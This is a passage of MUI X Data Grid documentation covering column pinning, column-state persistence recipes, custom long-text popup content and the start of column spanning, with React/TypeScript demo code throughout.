  DataGridProProps['pinnedColumnsSectionSeparator']
>;

export default function ColumnPinningSectionSeparator() {
  const [separator, setSeparator] =
    React.useState<SectionSeparator>('border-and-shadow');

  return (
    <div style={{ width: '100%' }}>
      <FormControl component="fieldset">
        <RadioGroup
          row
          value={separator}
          onChange={(event) => setSeparator(event.target.value as SectionSeparator)}
          name="pinned-columns-section-separator"
        >
          <FormControlLabel
            value="border-and-shadow"
            control={<Radio />}
            label={<code>&quot;border-and-shadow&quot;</code>}
          />
          <FormControlLabel
            value="border"
            control={<Radio />}
            label={<code>&quot;border&quot;</code>}
          />
          <FormControlLabel
            value="shadow"
            control={<Radio />}
            label={<code>&quot;shadow&quot;</code>}
          />
        </RadioGroup>
      </FormControl>
      <div style={{ height: 400 }}>
        <DataGridPro
          rows={rows}
          columns={columns}
          initialState={{ pinnedColumns: { left: ['name'], right: ['actions'] } }}
          pinnedColumnsSectionSeparator={separator}
        />
      </div>
    </div>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 160, editable: true },
  { field: 'email', headerName: 'Email', width: 200, editable: true },
  { field: 'age', headerName: 'Age', type: 'number', editable: true },
  {
    field: 'dateCreated',
    headerName: 'Date Created',
    type: 'date',
    width: 180,
    editable: true,
  },
  {
    field: 'lastLogin',
    headerName: 'Last Login',
    type: 'dateTime',
    width: 220,
    editable: true,
  },
  {
    field: 'actions',
    type: 'actions',
    width: 100,
    renderCell: (params) => (
      <GridActionsCell {...params}>
        <GridActionsCellItem icon={<EditIcon />} label="Edit" />
        <GridActionsCellItem icon={<DeleteIcon />} label="Delete" />
      </GridActionsCell>
    ),
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    email: randomEmail(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    email: randomEmail(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    email: randomEmail(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    email: randomEmail(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    email: randomEmail(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 6,
    name: randomTraderName(),
    email: randomEmail(),
    age: 27,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 7,
    name: randomTraderName(),
    email: randomEmail(),
    age: 18,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 8,
    name: randomTraderName(),
    email: randomEmail(),
    age: 31,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 9,
    name: randomTraderName(),
    email: randomEmail(),
    age: 24,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 10,
    name: randomTraderName(),
    email: randomEmail(),
    age: 35,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

You can override the scroll shadow's color and opacity by setting the `--color` and `--opacity` CSS variables on the `.MuiDataGrid-scrollShadow` class. For example:

```tsx
<DataGridPro
  pinnedColumnsSectionSeparator="shadow"
  sx={{
    '& .MuiDataGrid-scrollShadow': {
      '--color': '255, 0, 0', // must be an RGB value
      '--opacity': '0.5',
    },
  }}
/>
```

## Disabling column pinning

Column pinning is enabled by default on the Data Grid Pro, but you can disable it for some or all columns.

### For all columns

To disable pinning for all columns, set the `disableColumnPinning` prop to `true`:

```tsx
<DataGridPro disableColumnPinning />
```

### For specific columns

To disable pinning for a specific column, set the `pinnable` property to `false` in the column's `GridColDef`, as shown below:

```tsx
<DataGridPro columns={[{ field: 'id', pinnable: false }]} /> // Default is `true`
```

### Remove pinning from the column menu

An alternative option for disabling pinning actions is to remove them from the user interface, which can be done in one of two ways:

1. Use the column menu API to hide the pinning actions. See [Column menu—Hiding a menu item](/x/react-data-grid/column-menu/#hiding-a-menu-item) for details.
2. Use the [`disableColumnMenu` prop](/x/react-data-grid/column-menu/#disable-column-menu) to completely remove the column menu altogether.

## Pinning non-pinnable columns programmatically

When [pinning is disabled](#disabling-column-pinning) in the UI for some or all columns (via `disableColumnPinning` or `colDef.pinnable`), it's still possible to implement it programmatically.
You can do this in one of three ways:

1. Initialized pinning with `initialState`
2. Controlled pinning with `pinnedColumns`
3. Using the [`setPinnedColumns()` method](#apiref)

The code snippets below illustrate these three approaches:

```tsx
// 1. Initialized pinning
<DataGridPro
  disableColumnPinning
  initialState={{ pinnedColumns: { left: ['name'] } }}
/>

// 2. Controlled pinning
<DataGridPro
  disableColumnPinning
  pinnedColumns={{ left: ['name'] }}
/>

// 3. Using the `setPinnedColumns()` method
<React.Fragment>
  <DataGridPro disableColumnPinning />
  <Button onClick={() => apiRef.current.setPinnedColumns({ left: ['name'] })}>
    Pin name column
  </Button>
</React.Fragment>
```

In the following demo, pinning is disabled but the Grid is initialized with the **Name** column pinned to the left:

```tsx
import { DataGridPro, GridColDef, GridRowsProp } from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomTraderName,
  randomEmail,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';

export default function DisableColumnPinningButtons() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        rows={rows}
        columns={columns}
        initialState={{ pinnedColumns: { left: ['name'] } }}
        disableColumnPinning
      />
    </div>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 160, editable: true },
  { field: 'email', headerName: 'Email', width: 200, editable: true },
  { field: 'age', headerName: 'Age', type: 'number', editable: true },
  {
    field: 'dateCreated',
    headerName: 'Date Created',
    type: 'date',
    width: 180,
    editable: true,
  },
  {
    field: 'lastLogin',
    headerName: 'Last Login',
    type: 'dateTime',
    width: 220,
    editable: true,
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    email: randomEmail(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    email: randomEmail(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    email: randomEmail(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    email: randomEmail(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    email: randomEmail(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

## Pinning autogenerated columns

Certain features (such as [checkbox selection](/x/react-data-grid/row-selection/#checkbox-selection) and [row reordering](/x/react-data-grid/row-ordering/)) add autogenerated columns in the Data Grid.
You can pin these by adding `GRID_CHECKBOX_SELECTION_COL_DEF.field` and `GRID_REORDER_COL_DEF.field`, respectively, to the list of pinned columns, as shown in the demo below:

```tsx
import DeleteIcon from '@mui/icons-material/Delete';
import EditIcon from '@mui/icons-material/Edit';
import {
  DataGridPro,
  GridColDef,
  GridRowsProp,
  GridActionsCellItem,
  GRID_CHECKBOX_SELECTION_COL_DEF,
  GRID_REORDER_COL_DEF,
  GridActionsCell,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomTraderName,
  randomEmail,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';

export default function ColumnPinningAutogeneratedColumns() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        rows={rows}
        columns={columns}
        checkboxSelection
        rowReordering
        initialState={{
          pinnedColumns: {
            left: [
              GRID_REORDER_COL_DEF.field,
              GRID_CHECKBOX_SELECTION_COL_DEF.field,
            ],
            right: ['actions'],
          },
        }}
      />
    </div>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 160, editable: true },
  { field: 'email', headerName: 'Email', width: 200, editable: true },
  { field: 'age', headerName: 'Age', type: 'number', editable: true },
  {
    field: 'dateCreated',
    headerName: 'Date Created',
    type: 'date',
    width: 180,
    editable: true,
  },
  {
    field: 'lastLogin',
    headerName: 'Last Login',
    type: 'dateTime',
    width: 220,
    editable: true,
  },
  {
    field: 'actions',
    type: 'actions',
    width: 100,
    renderCell: (params) => (
      <GridActionsCell {...params}>
        <GridActionsCellItem icon={<EditIcon />} label="Edit" />
        <GridActionsCellItem icon={<DeleteIcon />} label="Delete" />
      </GridActionsCell>
    ),
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    email: randomEmail(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    email: randomEmail(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    email: randomEmail(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    email: randomEmail(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    email: randomEmail(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

## Pinning columns with dynamic row height

The Data Grid supports use cases involving both column pinning and [dynamic row height](/x/react-data-grid/row-height/#dynamic-row-height).
However, if row contents change after the initial calculation, you may need to trigger a manual recalculation to avoid incorrect measurements.
You can do this by calling `apiRef.current.resetRowHeights()` whenever the content changes.

The demo below contains an example of both features enabled:

```tsx
import * as React from 'react';
import DeleteIcon from '@mui/icons-material/Delete';
import EditIcon from '@mui/icons-material/Edit';
import PrintIcon from '@mui/icons-material/Print';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import {
  DataGridPro,
  GridColDef,
  GridRowsProp,
  useGridApiRef,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomTraderName,
  randomEmail,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';

export default function ColumnPinningDynamicRowHeight() {
  const apiRef = useGridApiRef();
  const [showEditDelete, setShowEditDelete] = React.useState(true);

  const columns: GridColDef[] = React.useMemo(
    () => [
      { field: 'name', headerName: 'Name', width: 160, editable: true },
      { field: 'email', headerName: 'Email', width: 200, editable: true },
      { field: 'age', headerName: 'Age', type: 'number', editable: true },
      {
        field: 'dateCreated',
        headerName: 'Date Created',
        type: 'date',
        width: 180,
        editable: true,
      },
      {
        field: 'lastLogin',
        headerName: 'Last Login',
        type: 'dateTime',
        width: 220,
        editable: true,
      },
      {
        field: 'actions',
        headerName: 'Actions',
        width: 100,
        renderCell: () => (
          <Stack spacing={1} sx={{ width: 1, py: 1 }}>
            {showEditDelete && (
              <React.Fragment>
                <Button variant="outlined" size="small" startIcon={<EditIcon />}>
                  Edit
                </Button>
                <Button variant="outlined" size="small" startIcon={<DeleteIcon />}>
                  Delete
                </Button>
              </React.Fragment>
            )}
            <Button variant="outlined" size="small" startIcon={<PrintIcon />}>
              Print
            </Button>
          </Stack>
        ),
      },
    ],
    [showEditDelete],
  );

  const handleToggleClick = React.useCallback(() => {
    setShowEditDelete((prevShowEditDelete) => !prevShowEditDelete);
  }, []);

  React.useLayoutEffect(() => {
    apiRef.current?.resetRowHeights?.();
  }, [apiRef, showEditDelete]);

  return (
    <div style={{ width: '100%' }}>
      <Button sx={{ mb: 1 }} onClick={handleToggleClick}>
        Toggle edit & delete
      </Button>
      <div style={{ height: 400 }}>
        <DataGridPro
          apiRef={apiRef}
          rows={rows}
          columns={columns}
          getRowHeight={() => 'auto'}
          initialState={{ pinnedColumns: { left: ['name'], right: ['actions'] } }}
        />
      </div>
    </div>
  );
}

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    email: randomEmail(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    email: randomEmail(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    email: randomEmail(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    email: randomEmail(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    email: randomEmail(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 6,
    name: randomTraderName(),
    email: randomEmail(),
    age: 27,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 7,
    name: randomTraderName(),
    email: randomEmail(),
    age: 18,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 8,
    name: randomTraderName(),
    email: randomEmail(),
    age: 31,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 9,
    name: randomTraderName(),
    email: randomEmail(),
    age: 24,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 10,
    name: randomTraderName(),
    email: randomEmail(),
    age: 35,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

## apiRef

The Data Grid exposes a set of methods via the `apiRef` object that are used internally in the implementation of the column pinning feature.
The reference below describes the relevant functions.
See [API object](/x/react-data-grid/api-object/) for more details.

:::warning
This API should only be used as a last resort when the Data Grid's built-in props aren't sufficient for your specific use case.
:::

```jsx
import ApiDocs from 'docsx/src/modules/components/ApiDocs';
import api from 'docsx/pages/x/api/data-grid/grid-column-pinning-api.json';

export default function ColumnPinningApiNoSnap() {
  return <ApiDocs proApi={api} />;
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/column-recipes.md

---
title: Data Grid - Column recipes
---

# Data Grid - Column customization recipes

Advanced column customization recipes.

## Persisting column width and order

When the `columns` prop reference is updated, the column width and order is reset to the `colDef.width` and the order of the `colDef` object and any updates will be lost.
This is because the Data Grid considers update of the columns prop as a new set of columns, and the previous state is discarded.

To persist the column width and order when the `columns` prop is updated, consider persisting the state of the columns in the userland.

```tsx
import * as React from 'react';
import {
  DataGridPro,
  useGridApiRef,
  GridColDef,
  GridColumnResizeParams,
  gridColumnFieldsSelector,
  GridApiPro,
} from '@mui/x-data-grid-pro';
import Button from '@mui/material/Button';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 20,
  },
];

export default function ColumnSizingPersistWidthOrder() {
  const apiRef = useGridApiRef();
  const [index, setIndex] = React.useState(0);
  const inputColumns = React.useMemo(
    () => [
      { field: 'id' },
      { field: 'username', width: 200, key: index },
      { field: 'age', disableReorder: true },
    ],
    [index],
  );

  const columnsState = useColumnsState(apiRef, inputColumns);

  return (
    <div style={{ width: '100%' }}>
      <Button onClick={() => setIndex((prev) => prev + 1)}>
        Update columns reference
      </Button>
      <div style={{ height: 250 }}>
        <DataGridPro
          apiRef={apiRef}
          columns={columnsState.columns}
          onColumnWidthChange={columnsState.onColumnWidthChange}
          onColumnOrderChange={columnsState.onColumnOrderChange}
          rows={rows}
        />
      </div>
    </div>
  );
}

const useColumnsState = (
  apiRef: React.RefObject<GridApiPro | null>,
  columns: GridColDef[],
) => {
  const [widths, setWidths] = React.useState<Record<GridColDef['field'], number>>(
    {},
  );
  const [orderedFields, setOrderedFields] = React.useState<GridColDef['field'][]>(
    () => columns.map((column) => column.field),
  );

  const onColumnWidthChange = React.useCallback(
    ({ colDef, width }: GridColumnResizeParams) => {
      setWidths((prev) => ({ ...prev, [colDef.field]: width }));
    },
    [setWidths],
  );

  const onColumnOrderChange = React.useCallback(() => {
    setOrderedFields(gridColumnFieldsSelector(apiRef));
  }, [apiRef, setOrderedFields]);

  const computedColumns = React.useMemo(
    () =>
      orderedFields.reduce<GridColDef[]>((acc, field) => {
        const column = columns.find((col) => col.field === field);
        if (!column) {
          return acc;
        }
        if (widths[field]) {
          acc.push({
            ...column,
            width: widths[field],
          });
          return acc;
        }
        acc.push(column);
        return acc;
      }, []),
    [columns, widths, orderedFields],
  );

  return { columns: computedColumns, onColumnWidthChange, onColumnOrderChange };
};

```

:::warning
[Column ordering](/x/react-data-grid/column-ordering/) is a Pro feature, to use it you must be on a Pro or Premium plan.
:::

### With pivoting [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Pivoting creates columns dynamically, based on the pivoting model and the row data.

To keep the column width of the pivoted grid after `columns` reference is changed, use [`groupingColDef`](/x/api/data-grid/data-grid-premium/#data-grid-premium-prop-groupingColDef) and [`pivotingColDef`](/x/api/data-grid/data-grid-premium/#data-grid-premium-prop-pivotingColDef) props to apply the width updates to the autogenerated columns.

The demo below uses modified version of the `useColumnsState()` from the previous example in combination with a callbacks for grouping and pivoting columns.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  useGridApiRef,
  GridColDef,
  GridColumnResizeParams,
  GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD,
} from '@mui/x-data-grid-premium';
import Button from '@mui/material/Button';

const rows = [
  {
    id: 1,
    product: 'Apples',
    region: 'North',
    quarter: 'Q1',
    sales: 1000,
    profit: 100,
    size: 'L',
  },
  {
    id: 2,
    product: 'Apples',
    region: 'South',
    quarter: 'Q1',
    sales: 1200,
    profit: 120,
    size: 'M',
  },
  {
    id: 3,
    product: 'Oranges',
    region: 'North',
    quarter: 'Q1',
    sales: 800,
    profit: 80,
    size: 'M',
  },
  {
    id: 4,
    product: 'Oranges',
    region: 'South',
    quarter: 'Q1',
    sales: 900,
    profit: 90,
    size: 'S',
  },
  {
    id: 5,
    product: 'Apples',
    region: 'North',
    quarter: 'Q2',
    sales: 1100,
    profit: 110,
    size: 'L',
  },
  {
    id: 6,
    product: 'Apples',
    region: 'South',
    quarter: 'Q2',
    sales: 1300,
    profit: 130,
    size: 'L',
  },
  {
    id: 7,
    product: 'Oranges',
    region: 'North',
    quarter: 'Q2',
    sales: 850,
    profit: 85,
    size: 'M',
  },
  {
    id: 8,
    product: 'Oranges',
    region: 'South',
    quarter: 'Q2',
    sales: 950,
    profit: 95,
    size: 'S',
  },
];

const pivotModel = {
  rows: [{ field: 'product' }, { field: 'size' }],
  columns: [{ field: 'region' }, { field: 'quarter' }],
  values: [
    { field: 'sales', aggFunc: 'sum' },
    { field: 'profit', aggFunc: 'avg' },
  ],
};

export default function ColumnSizingPersistWidthPivoting() {
  const apiRef = useGridApiRef();
  const [index, setIndex] = React.useState(0);
  const inputColumns: GridColDef[] = React.useMemo(
    () => [
      { field: 'product', headerName: 'Product', key: index },
      { field: 'region', headerName: 'Region' },
      { field: 'quarter', headerName: 'Quarter' },
      {
        field: 'sales',
        headerName: 'Sales',
        type: 'number',
      },
      {
        field: 'profit',
        headerName: 'Profit',
        type: 'number',
        valueFormatter: (value: number) => {
          if (!value) {
            return '';
          }
          return `${value}%`;
        },
      },
      {
        field: 'size',
        headerName: 'Size',
      },
    ],
    [index],
  );

  const columnsState = useColumnsState(inputColumns);

  const pivotingColDef = React.useCallback(
    (field: GridColDef['field'], group: string[]) => {
      const pivotingField = [...group, field].join('>->');
      const fieldWidth = columnsState.getColumnWidth(pivotingField);
      return fieldWidth ? { width: fieldWidth } : {};
    },
    [columnsState],
  );

  const groupingColDef = React.useCallback(() => {
    const column = apiRef.current?.getColumn(
      GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD,
    );
    return column?.width ? { width: column.width } : {};
  }, [apiRef]);

  return (
    <div style={{ width: '100%' }}>
      <Button onClick={() => setIndex((prev) => prev + 1)}>
        Update columns reference
      </Button>
      <div style={{ height: 450 }}>
        <DataGridPremium
          apiRef={apiRef}
          columns={columnsState.columns}
          onColumnWidthChange={columnsState.onColumnWidthChange}
          rows={rows}
          initialState={{
            pivoting: {
              enabled: true,
              model: pivotModel,
            },
          }}
          pivotingColDef={pivotingColDef}
          groupingColDef={groupingColDef}
        />
      </div>
    </div>
  );
}

const useColumnsState = (columns: GridColDef[]) => {
  const [widths, setWidths] = React.useState<Record<GridColDef['field'], number>>(
    {},
  );

  const onColumnWidthChange = React.useCallback(
    ({ colDef, width }: GridColumnResizeParams) => {
      setWidths((prev) => ({ ...prev, [colDef.field]: width }));
    },
    [setWidths],
  );

  const getColumnWidth = React.useCallback(
    (field: string): number | undefined => widths[field],
    [widths],
  );

  const computedColumns = React.useMemo(
    () =>
      columns.reduce<GridColDef[]>((acc, column) => {
        if (widths[column.field]) {
          acc.push({
            ...column,
            width: widths[column.field],
          });
          return acc;
        }
        acc.push(column);
        return acc;
      }, []),
    [columns, widths],
  );

  return {
    columns: computedColumns,
    getColumnWidth,
    onColumnWidthChange,
  };
};

```

## Custom long text popup content

The default rendered cell of the `longText` column type uses `GridLongTextCell` component to show the popup with the full text content when the expand button is clicked. To customize the popup content, use the `renderContent` prop of the `GridLongTextCell` component.

The example below demonstrates two customizations:

- **Character count**: Shows character count below the text
- **Markdown preview**: Renders markdown content as formatted HTML

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGrid, GridColDef, GridLongTextCell } from '@mui/x-data-grid';
import { styled } from '@mui/material/styles';
import Markdown from 'markdown-to-jsx';

const rows = [
  {
    id: 1,
    title: 'Introduction to React',
    notes:
      'React is a JavaScript library for building user interfaces. It uses a component-based architecture and virtual DOM for efficient updates.',
    markdown:
      '# Getting Started\n\nTo create a new React app:\n\n```bash\nnpx create-react-app my-app\n```\n\n**Key concepts:**\n- Components\n- Props\n- State',
  },
  {
    id: 2,
    title: 'TypeScript Basics',
    notes:
      'TypeScript adds static type definitions to JavaScript. It helps catch errors early and improves code maintainability in large codebases.',
    markdown:
      '## Type Annotations\n\nBasic types:\n\n```typescript\nlet name: string = "John";\nlet age: number = 30;\nlet active: boolean = true;\n```\n\n*TypeScript compiles to plain JavaScript.*',
  },
  {
    id: 3,
    title: 'MUI Data Grid',
    notes:
      'The MUI X Data Grid is a powerful component for displaying and editing tabular data. It supports sorting, filtering, pagination, and many other features out of the box.',
    markdown:
      '### Features\n\n1. Sorting & Filtering\n2. Pagination\n3. Column resizing\n4. Row selection\n\n> The Data Grid is highly customizable!',
  },
];

const CharacterCountWrapper = styled('div')({
  display: 'flex',
  flexDirection: 'column',
  height: '100%',
});

const CharacterCountText = styled('span')(({ theme }) => ({
  marginTop: 'auto',
  paddingTop: theme.spacing(1),
  fontSize: '0.75rem',
  color: theme.palette.text.secondary,
}));

const MarkdownPreview = styled('div')(({ theme }) => ({
  fontFamily: theme.typography.fontFamily,
  '& h1, & h2, & h3': {
    marginTop: 0,
    marginBottom: theme.spacing(1),
    fontSize: '1rem',
    fontWeight: 600,
  },
  '& p': {
    marginTop: 0,
    marginBottom: theme.spacing(1),
  },
  '& ul, & ol': {
    marginTop: 0,
    marginBottom: theme.spacing(1),
    paddingLeft: theme.spacing(2),
  },
  '& code': {
    backgroundColor: theme.palette.action.hover,
    padding: theme.spacing(0.25, 0.5),
    borderRadius: theme.shape.borderRadius,
    fontSize: '0.85em',
  },
  '& pre': {
    backgroundColor: theme.palette.action.hover,
    padding: theme.spacing(1),
    borderRadius: theme.shape.borderRadius,
    overflow: 'auto',
    '& code': {
      backgroundColor: 'transparent',
      padding: 0,
    },
  },
  '& blockquote': {
    margin: 0,
    marginBottom: theme.spacing(1),
    paddingLeft: theme.spacing(1.5),
    borderLeft: `3px solid ${theme.palette.divider}`,
    color: theme.palette.text.secondary,
  },
  '& strong': {
    fontWeight: 600,
  },
  '& em': {
    fontStyle: 'italic',
  },
}));

const columns: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 180 },
  {
    field: 'notes',
    headerName: 'Notes (with character count)',
    type: 'longText',
    width: 250,
    editable: true,
    renderCell: (params) => (
      <GridLongTextCell
        {...params}
        renderContent={(value) => (
          <CharacterCountWrapper>
            <div>{value}</div>
            <CharacterCountText>{value?.length ?? 0} characters</CharacterCountText>
          </CharacterCountWrapper>
        )}
      />
    ),
  },
  {
    field: 'markdown',
    headerName: 'Markdown (with preview)',
    type: 'longText',
    width: 250,
    editable: true,
    renderCell: (params) => (
      <GridLongTextCell
        {...params}
        renderContent={(value) => (
          <MarkdownPreview>
            <Markdown>{value ?? ''}</Markdown>
          </MarkdownPreview>
        )}
        slotProps={{
          popperContent: {
            style: {
              minWidth: 375,
              maxHeight: 'initial',
            },
          },
        }}
      />
    ),
  },
];

export default function LongTextCustomPopupContent() {
  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGrid rows={rows} columns={columns} />
    </Box>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/column-spanning.md

# Data Grid - Column spanning

Span cells across several columns.

By default, each cell takes up the width of one column.
You can modify this behavior with column spanning, which makes it possible for cells to span multiple columns.
This is very close to the "column spanning" in an HTML `<table>`.

To change the number of columns a cell should span, use the `colSpan` property available in `GridColDef`:

```ts
interface GridColDef {
  /**
   * Number of columns a cell should span.
   * @default 1
   */
  colSpan?: number | ((params: GridCellParams<R, V, F>) => number | undefined);
  …
}
```

:::warning
When using `colSpan`, some other features may be pointless or may not work as expected (depending on the data model).
To avoid a confusing grid layout, consider disabling the following features for any columns that are affected by `colSpan`:

- [sorting](/x/react-data-grid/sorting/#disable-the-sorting)
- [filtering](/x/react-data-grid/filtering/#disable-the-filters)
- [column reorder](/x/react-data-grid/column-ordering/)
- [hiding columns](/x/react-data-grid/column-visibility/)
- [column pinning](/x/react-data-grid/column-pinning/#disabling-column-pinning)

:::

## Number signature

The number signature sets **all cells in the column** to span a given number of columns.

```ts
interface GridColDef {
  colSpan?: number;
}
```

```tsx
import { DataGrid } from '@mui/x-data-grid';

const other = {
  showCellVerticalBorder: true,
  showColumnVerticalBorder: true,
};

const rows = [
  { id: 1, username: '@MUI', age: 20 },
  { id: 2, username: '@MUI-X', age: 25 },
];

export default function ColumnSpanningNumber() {
  return (
    <div
      style={{
        width: '100%',
        display: 'flex',
        flexDirection: 'column',
        height: 'fit-content',
      }}
    >
      <DataGrid
        columns={[
          { field: 'username', colSpan: 2, hideable: false },
          {
            field: 'organization',
            sortable: false,
            filterable: false,
            hideable: false,
          },
          { field: 'age', hideable: false },
        ]}
        rows={rows}
        {...other}
      />
    </div>
  );
}

```

## Function signature

The function signature makes it possible to only span specific cells in the column.
The function receives [`GridCellParams`](/x/api/data-grid/grid-cell-params/) as argument.

```ts
interface GridColDef {
  colSpan?: (params: GridCellParams<R, V, F>) => number | undefined;
}
```

```tsx
import Box from '@mui/material/Box';
import { DataGrid, DataGridProps, GridColDef } from '@mui/x-data-grid';

const items = [
  { id: 1, item: 'Paperclip', quantity: 100, price: 1.99 },
  { id: 2, item: 'Paper', quantity: 10, price: 30 },
  { id: 3, item: 'Pencil', quantity: 100, price: 1.25 },
];

type Item = (typeof items)[number];

interface SubtotalHeader {
  id: 'SUBTOTAL';
  label: string;
  subtotal: number;
}

interface TaxHeader {
  id: 'TAX';
  label: string;
  taxRate: number;
  taxTotal: number;
}

interface TotalHeader {
  id: 'TOTAL';
  label: string;
  total: number;
}

type Row = Item | SubtotalHeader | TaxHeader | TotalHeader;

const rows: Row[] = [
  ...items,
  { id: 'SUBTOTAL', label: 'Subtotal', subtotal: 624 },
  { id: 'TAX', label: 'Tax', taxRate: 10, taxTotal: 62.4 },
  { id: 'TOTAL', label: 'Total', total: 686.4 },
];

const baseColumnOptions = {
  sortable: false,
  pinnable: false,
  hideable: false,
};

const columns: GridColDef<Row>[] = [
  {
    field: 'item',
    headerName: 'Item/Description',
    ...baseColumnOptions,
    flex: 3,
    colSpan: (value, row) => {
      if (row.id === 'SUBTOTAL' || row.id === 'TOTAL') {
        return 3;
      }
      if (row.id === 'TAX') {
        return 2;
      }
      return undefined;
    },
    valueGetter: (value, row) => {
      if (row.id === 'SUBTOTAL' || row.id === 'TAX' || row.id === 'TOTAL') {
        return row.label;
      }
      return value;
    },
  },
  {
    field: 'quantity',
    headerName: 'Quantity',
    ...baseColumnOptions,
    flex: 1,
    sortable: false,
  },
  {
    field: 'price',
    headerName: 'Price',
    flex: 1,
    ...baseColumnOptions,
    valueGetter: (value, row) => {
      if (row.id === 'TAX') {
        return `${row.taxRate}%`;
      }
      return value;
    },
  },
  {
    field: 'total',
    headerName: 'Total',
    flex: 1,
    ...baseColumnOptions,
    valueGetter: (value, row) => {
      if (row.id === 'SUBTOTAL') {
        return row.subtotal;
      }
      if (row.id === 'TAX') {
        return row.taxTotal;
      }
      if (row.id === 'TOTAL') {
        return row.total;
      }
      return row.price * row.quantity;
    },
  },
];

const getCellClassName: DataGridProps['getCellClassName'] = ({ row, field }) => {
  if (row.id === 'SUBTOTAL' || row.id === 'TOTAL' || row.id === 'TAX') {
    if (field === 'item') {
      return 'bold';
    }
  }
  return '';
};

export default function ColumnSpanningFunction() {
  return (
    <Box
      sx={{
        display: 'flex',
        flexDirection: 'column',
        width: '100%',
        '& .bold': {
          fontWeight: 600,
        },
      }}
    >
      <DataGrid
        disableColumnFilter
        disableRowSelectionOnClick
        hideFooter
        showCellVerticalBorder
        showColumnVerticalBorder
        getCellClassName={getCellClassName}
